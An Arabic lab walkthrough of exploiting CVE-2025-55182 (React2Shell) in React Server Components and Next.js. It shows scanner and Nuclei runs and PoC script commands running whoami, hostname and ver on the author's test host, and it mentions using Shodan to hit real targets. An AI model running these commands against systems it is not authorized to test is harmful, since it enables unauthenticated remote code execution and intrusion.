
استغلال الثغرة الأمنية CVE-2025-55182
CVE-2025-55182، المعروف أيضًا باسم React2Shell، هو ثغرة Remote Code Execution (RCE) خطيرة تؤثر على React Server Components (RSC). يستخدم بروتوكول Flight للتواصل بين العميل والخادم. عندما يطلب العميل بيانات، يستقبل الخادم حمولة (payload) ويقوم بتحليلها، مما قد يسمح للمهاجم بإدخال بنى خبيثة أو أجزاء تعليمات برمجية عشوائية يقبلها React باعتبارها صالحة.
| العنصر | المحتوى |
|---|---|
| الخطورة | حرجة (CVSS 10.0) |
| النوع | إلغاء تسلسل غير آمن (CWE-502) |
| طريقة الهجوم | عن بُعد، دون الحاجة إلى مصادقة |
| الإصدارات المتأثرة: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 وNext.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
يعالج الخادم الحمولة القادمة من العميل دون التحقق منها بشكل كامل، مما يسمح للمهاجم بـ:
تم رصد عمليات استغلال مرتبطة بهذه الثغرة منذ 5 ديسمبر 2025. معظم عمليات الاستغلال الناجحة نشأت من تقييمات المجموعات المهاجمة. تتأثر بيئتا Windows وLinux على حد سواء.
التثبيت
pip install -r requirements.txt
مسح خادم معرّض للثغرة:
python3 scanner.py -u https://example.com
أدخل المسار المراد فحصه (هنا أدخلت جهازي المعرّض للثغرة وهو http://192.168.10.1:3000)
النتيجة:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
مسح قائمة بالخوادم:
python3 scanner.py -l hosts.txt
الفحص باستخدام عدة خيوط وحفظ النتائج:
python3 scanner.py -l hosts.txt -t 20 -o results.json
الفحص باستخدام ترويسات مخصصة:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
فحص أهداف Windows:
python3 scanner.py -u https://example.com --windows
استخدام طريقة كشف القناة الجانبية الآمنة:
python3 scanner.py -u https://example.com --safe-check
كما ترى، نحن أمام ثغرة أمنية، وهذا يعني أن الخادم الذي نقدمه معرّض للهجوم من قِبل المهاجم.
الآن سنستخدم Nuclei للتحقق من الثغرات الموجودة على الخادم أعلاه وما إذا كانت لها PoC أم لا. تعمل هذه الوظيفة عن طريق إرسال طلبات مخصصة، وتقليل الإنذارات الكاذبة (false positive)، ودعم الفحص المتوازي.
nuclei -t scan.yaml -u http://192.168.10.1:3000
النتيجة المحققة:
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
اكتشف النظام أن هذا الخادم معرّض للثغرة ويمكن استغلاله عبر ثغرة CVE-2025-55182. ومن هنا ترى أنها ثغرة خطيرة ومهمة للغاية، وقد ظهرت لها العديد من الـ PoCs على منصات التواصل الاجتماعي. ☺☺☺
يمكنك أن ترى أن هذه المعلومات وحدها كافية لتأكيد وجود الثغرة الأمنية في التطبيق أعلاه. ولإثبات أن هذا التطبيق يمكن استغلاله لتشغيل أمر أو تنفيذ كود عن بُعد، سأبدأ بـ PoC.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
المعنى:
يعرض المستخدم الحالي الذي تعمل عملية الخادم بصلاحياته
يساعد في تحديد:
=> هذا هو الأمر الأساسي لتأكيد نجاح RCE
-d, --domain - النطاق/URL-c, --command - الأمر المطلوب تنفيذه (مثل: whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
هذه هي خطوة الاستطلاع الأولي (initial reconnaissance) بعد نجاح الاستغلال.
يساعدنا هذا في تأكيد: نجاح RCE، تحديد نظام التشغيل،...
نظرًا لأن هذه التجربة أقوم بها في بيئة مختبر شخصية لتجنّب المسائل القانونية، فإن استخدام ترويسات HTTP لسرقة البيانات، أو المخرجات الكبيرة، أو الأحرف الخاصة قد يؤدي إلى:
ERR_INVALID_CHAR
الأوامر القصيرة (مثل: whoami, ver) أكثر موثوقية للتوضيح في بيئة الاختبار أعلاه.
إذا لم يعجبك ذلك، يمكنك استخدام Shodan لفحص عناوين IP مباشرة على بيئة حقيقية وتنفيذ ما قمت به في التجربة أعلاه للاستغلال (غير مستحسن).
كما ذُكر سابقًا، هذه الأداة مخصصة للأغراض التعليمية ولاختبار الأمان المصرح به فقط. لا تستخدم هذه الأداة لاختبار أنظمة لا تملكها أو لا تملك صلاحية اختبارها.
| معنى أوامر التنفيذ | المحتوى |
|---|
| يعيد اسم المضيف (host name) | يُستخدم من أجل: - تحديد النظام المتأثر - تسهيل الحركة الجانبية (lateral movement) (في البيئة الداخلية) |
| تحديد إصدار نظام التشغيل | مهم من أجل: -تقييم إمكانية مواصلة الاستغلال (تصعيد الصلاحيات - privilege escalation) - اختيار الاستغلال المناسب |
| اختبار تنفيذ الأوامر | يُستخدم لتصحيح أخطاء الحمولة / الماسح الضوئي |
| يعيد اسم المستخدم الحالي | في هذه الحالة: - إذا كان المستخدم ADMIN → فقد يكون لديه صلاحيات عالية - أكثر أهمية من whoami في بعض حالات Windows |
| يعيد اسم الجهاز | يعيد اسم الجهاز عبر متغير البيئة |